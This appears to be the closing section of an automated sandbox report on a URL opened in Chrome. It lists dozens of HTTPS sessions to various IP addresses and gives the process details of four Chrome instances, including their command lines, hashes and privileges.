1167	192.168.2.6	51108	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.6	51110	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.6	51105	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.6	51106	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.6	51174	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.6	51287	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.6	51295	178.250.1.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.6	51326	35.190.80.1	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.6	51330	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.6	51325	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.6	51327	152.195.133.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.6	51336	51.75.86.98	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.6	51337	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.6	51339	35.190.80.1	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.6	51341	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.6	51338	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.6	51346	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.6	51373	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.6	51355	18.203.106.185	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.6	51391	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.6	51407	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.6	51408	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.6	51409	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.6	51411	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.6	51410	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.6	51412	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.6	51413	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.6	51420	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.6	51419	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.6	51414	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.6	51417	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.6	51418	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.6	51421	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.6	51416	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.6	51422	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.6	51415	52.57.150.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.6	51424	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.6	51425	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.6	51426	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.6	51427	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.6	51428	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.6	51429	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.6	51430	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.6	51431	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.6	51432	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.6	51434	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.6	51435	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.6	51433	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.6	51436	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.6	51437	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.6	51442	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.6	51438	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.6	51439	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.6	51440	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.6	51441	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.6	51444	162.247.243.29	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.6	51446	162.247.243.39	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.6	51448	178.250.1.11	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.6	51445	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.6	51449	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.6	51451	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.6	51452	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.6	51450	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.6	51453	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.6	51454	162.247.243.29	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.6	51455	178.250.1.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.6	51456	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.6	51458	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.6	51459	162.247.243.29	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.6	51460	162.247.243.29	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.6	51461	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.6	51462	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.6	51463	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.6	51464	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.6	51466	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.6	51467	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.6	51469	172.217.18.4	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.6	51474	162.247.243.29	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.6	51472	178.250.1.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.6	51473	18.244.18.122	443

Timestamp	Bytes transferred	Direction	Data

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5952, Parent PID: 5956

General

Target ID:	0
Start time:	18:34:08
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6028, Parent PID: 5952

General

Target ID:	2
Start time:	18:34:13
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2912, Parent PID: 5956

General

Target ID:	3
Start time:	18:34:15
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://testing-1g0.pages.dev/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7872, Parent PID: 5952

General

Target ID:	7
Start time:	18:35:20
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=10776 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly